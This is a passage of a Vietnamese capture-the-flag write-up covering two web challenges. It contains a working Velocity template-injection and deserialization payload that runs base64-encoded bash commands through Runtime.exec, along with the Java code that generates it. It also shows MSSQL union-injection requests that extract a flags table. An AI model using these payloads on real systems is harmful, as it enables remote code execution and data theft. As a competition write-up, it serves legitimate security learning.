filter ``#`` như trong bài viết có đề cập ta cần phải sử dụng chỉ thị `#set` để thiết lập các biến điều kiện. Đối với việc này ta có thể để ý là việc biến date được render đồng thời nằm trong template Ta có thể lợi dụng biến này để invoke `runtime.exe` ```java $date.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('touch /tmp/lamnt') ``` Từ đây khi truyền vào biến name -> server sẽ thực hiện deserialize -> sau đó biến được truyền vào -> nó lợi dụng biến date để invoke method runtime.exec ở đây ta sẽ dùng `bash -c {echo,base64command}|{base64,-d}|{bash,-i}` để tạo file nằm trong web root ```java package com.isitdtu.hihi.Controllers; import org.apache.velocity.app.Velocity; import org.apache.velocity.VelocityContext; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import com.isitdtu.hihi.Helpers.Encode; import com.isitdtu.hihi.Helpers.SecureObjectInputStream; import com.isitdtu.hihi.Users; import java.io.*; import java.time.LocalDate; import java.time.format.DateTimeFormatter; import java.util.Base64; @Controller public class MainController { @GetMapping("/") @ResponseBody public String index() throws IOException { Users user = new Users(); user.setName("$date.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -c {echo,Y2QgL3RtcC90b21jYXQtZG9jYmFzZSo7bHMgL2FwcC8gPiBoaWhp}|{base64,-d}|{bash,-i}')"); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(user); oos.flush(); oos.close(); byte[] byteArray = bos.toByteArray(); String hexString = Encode.bytesToHex(byteArray); String data = Base64.getEncoder().encodeToString(hexString.getBytes()); return data; } @PostMapping(value = "/") @ResponseBody public String hello(@RequestParam("data") String data) throws IOException { String hexString = new String(Base64.getDecoder().decode(data)); byte[] byteArray = Encode.hexToBytes(hexString); ByteArrayInputStream bis = new ByteArrayInputStream(byteArray); ObjectInputStream ois = new SecureObjectInputStream(bis); String name; try{ Users user = (Users) ois.readObject(); name= user.getName(); } catch (Exception e) { throw new RuntimeException(e); } if(name.toLowerCase().contains("#")){ return "But... For what?"; } String templateString = "Hello, " + name+". Today is $date"; Velocity.init(); VelocityContext ctx = new VelocityContext(); LocalDate date = LocalDate.now(); DateTimeFormatter formatter = DateTimeFormatter.ofPattern("MMMM dd, yyyy"); String formattedDate = date.format(formatter); ctx.put("date", formattedDate); StringWriter out = new StringWriter(); Velocity.evaluate(ctx, out, "test", templateString); return out.toString(); } } ``` ```java Encode.java package com.isitdtu.hihi.Helpers; public class Encode { public static byte[] hexToBytes(String hexString) { int len = hexString.length(); byte[] data = new byte[len / 2]; for (int i = 0; i < len; i += 2) { data[i / 2] = (byte) ((Character.digit(hexString.charAt(i), 16) << 4) + Character.digit(hexString.charAt(i+1), 16)); } return data; } public static String bytesToHex(byte[] bytes) { StringBuilder hexString = new StringBuilder(2 * bytes.length); for (byte b : bytes) { String hex = Integer.toHexString(b & 0xFF); if (hex.length() == 1) { hexString.append('0'); } hexString.append(hex); } return hexString.toString(); } } ``` ![image](https://hackmd.io/_uploads/Sk95FMkZ1l.png) Gen được payload và post lên / ![image](https://hackmd.io/_uploads/ByLhYfJW1l.png) Có thể thấy nó trả ra một tiến trình -> kiểm tra web root: ![image](https://hackmd.io/_uploads/S1TAKzJZJx.png) ![image](https://hackmd.io/_uploads/rkTyqGJW1g.png) ![image](https://hackmd.io/_uploads/r1pY5fk-1g.png) ![image](https://hackmd.io/_uploads/r1b9qzy-kx.png) ![image](https://hackmd.io/_uploads/rJtyFdCxkl.png) ![image](https://hackmd.io/_uploads/rysn9fJWJe.png) flag: `ISITDTU{test_flag}` Tham khảo: https://blog.csdn.net/weixin_39190897/article/details/139707252 ## web/hero black-box java + mssql no database + no column Trang web có chức năng reg + đăng nhập -> sau đi đăng nhập ta có thể xem danh sách các hero. ![image](https://hackmd.io/_uploads/HkZeZByZyg.png) ![image](https://hackmd.io/_uploads/SJWb-BkWJg.png) ![image](https://hackmd.io/_uploads/H1sWbSJZJl.png) Có old hero và genZ hero, ở genZ hero cho phép truyền param id và nhận người dùng có id tương ứng Nhìn qua mình có thể đoán được mục đích có thể là sqli Ban đầu thì thử được `GET /genZ?id='2'+or+1%3d1--` trả ra cả 3 kết quả -> nhưng mà không dùng được các loại khác để hiển thị thông tin các bảng hoặc sqli được nữa. ![image](https://hackmd.io/_uploads/BkeDXS1Wkg.png) -> Ban đầu thì mình nghĩ không đơn giản như vậy -> nên đã thử qua `/old_heroes` ![image](https://hackmd.io/_uploads/Hy_4NSy-1x.png) thử fuzz param đầu tiên nhưng quên mất là thiếu session nên không thể tìm thấy https://github.com/whiteknight7/wordlist/blob/main/fuzz-lfi-params-list.txt ![image](https://hackmd.io/_uploads/rycrSr1-kl.png) tìm được param name có điểm khác biệt ![image](https://hackmd.io/_uploads/BJPPHrJb1l.png) Mọi người trong team đã thử mọi cách và biết được một phần của câu lệnh sẽ là `...payload.* FROM OldHeroDB..payload WHERE OldHeroDB..payload.Id = 1` Mình đã thử dùng nhiều cách để tìm ra table name nằm trong database `OldHeroDB` bằng nhiều wordlist Sau một hồi thử thì dùng được `GET /old_heroes?name=name+FROM+sys.databases+WHERE+name+like+'1'--+-` là nếu mà column name có tồn tại trong bảng sys.databases thì sẽ trả ra thông báo không tìm thấy tại `OldHeroDB..name` Cuối cùng thì phát hiện ra OldHeroDB là database không tồn tại trong mssql này nên mình có brute bao nhiêu cũng không được. `No Database No Table, how do you do MSSQL Injection` key word tìm kiếm là như trên ta có thể thấy bài https://cyku.tw/no-database-mssql-injection/ Về cơ bản thì ta thấy nó gán payload : ![image](https://hackmd.io/_uploads/BkxZnH1-yl.png) ![image](https://hackmd.io/_uploads/SyVzhS1WJx.png) Ta không dùng được stack query bởi vì database này thực sự không tồn tại Bình thường mssql nếu tên cột có space theo sao thì nó được coi là hợp lệ nếu truy vấn con có sử dụng tên cột có khoảng trắng theo sau, thậm chí tên cột không có: ![image](https://hackmd.io/_uploads/BJjSprJZkg.png) ![image](https://hackmd.io/_uploads/B1L26BkZJx.png) về cơ bản, ta có thể nhận thấy sau space thì sẽ bị lược bỏ, hoặc thậm chí chỉ có mỗi space ![image](https://hackmd.io/_uploads/BJDRe81bkx.png) ``` GET /old_heroes?name=<@urlencode_all>STY as hero_power, @@version as hero_name, 1 as Id from (select geometry::STGeomFromText('POINT(0 0)',0) as [ ]) as OldHeroDB union SELECT 1, flag_value,2 FROM flags-- -<@/urlencode_all> HTTP/1.1 Host: 213.35.127.196:63432 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: http://213.35.127.196:63432/genZ?id=%272%27+or+1%3d1-- Cookie: JSESSIONID=E0F2D88CB02B3F50E238DC23A4B2082F Upgrade-Insecure-Requests: 1 Priority: u=0, i ``` ![image](https://hackmd.io/_uploads/r1NVzIy-Jg.png) flag: `ISITDTU{R3g4in_m0t1vation_w1th_s1mpl3_SQL1}` nguồn tham khảo: https://cyku.tw/no-database-mssql-injection/